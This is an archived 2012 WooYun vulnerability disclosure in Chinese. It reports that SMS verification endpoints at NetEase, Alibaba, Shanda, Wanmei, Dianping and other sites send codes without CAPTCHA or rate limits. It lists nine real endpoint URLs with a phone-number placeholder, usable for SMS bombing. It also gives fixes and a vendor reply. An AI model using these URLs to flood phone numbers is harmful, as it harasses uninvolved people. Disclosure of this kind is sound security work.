当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2012-010527

漏洞标题：多家网站验证短信随便发，包括网易、盛大、阿里巴巴、完美、点评等

相关厂商：网易

漏洞作者： 老飞侠

提交时间：2012-08-03 16:58

修复时间：2012-08-03 18:38

公开时间：2012-08-03 18:38

漏洞类型：设计缺陷/逻辑错误

危害等级：中

自评Rank：5

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2012-08-03： 细节已通知厂商并且等待厂商处理中
2012-08-03： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

不需要是注册用户， 直接利用这些途径，可以对别人的手机号进行骚扰。

详细说明：

将下面的%s替换为手机号就行了，随便发。
就不一个一个的反馈赚rank了，那是不道德的~~
虽然这个是业务设计的需要，但是可能会被用来发骚扰短信。
就是因为某网站的类似漏洞被利用发了200万骚扰短信，于是顺藤摸瓜找到了有类似漏洞的相关网站， 希望能杜绝这种骚扰现象。

http://reg.163.com/services/sendsms?username=%s
http://china.alibaba.com/member/sendIdentityCodeByMobile.htm?callback=jQuery16404408283903978138_1329030748736&mobile=%s
http://passport.cnyw.net//ajax.php?action=getverify&mobile=%s
http://passport.wanmei.com/NoteAction.do?method=sendCode&mobile=%s&passwd=
http://club.service.autohome.com.cn/Ashx/CreateMobileCode.ashx?mobile=%s&
http://www.huggieshappyclub.com/Handler/Vcode.ashx?mobile=%s
http://www.dianping.com/ajax/json/account/reg/mobile/send?m=%s
http://www.51taonan.com/?page=join&handler=ajax&action=send_reg_mobile_vcode&page_key=7ef0c64ccfeccd5cdda1306c3b769e1b&mobile_number=%s
http://register.sdo.com/gaea/SendPhoneMsg.ashx?page=REG&mobile=%s

漏洞证明：


修复方案：

发送短信增加验证码，增加发送条数限制、IP限制等。

版权声明：转载请注明来源 老飞侠@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2012-08-03 18:38

厂商回复：

感谢您对网易的关注，发送短信验证码有次数限制，不会形成短信炸弹。

最新状态：

暂无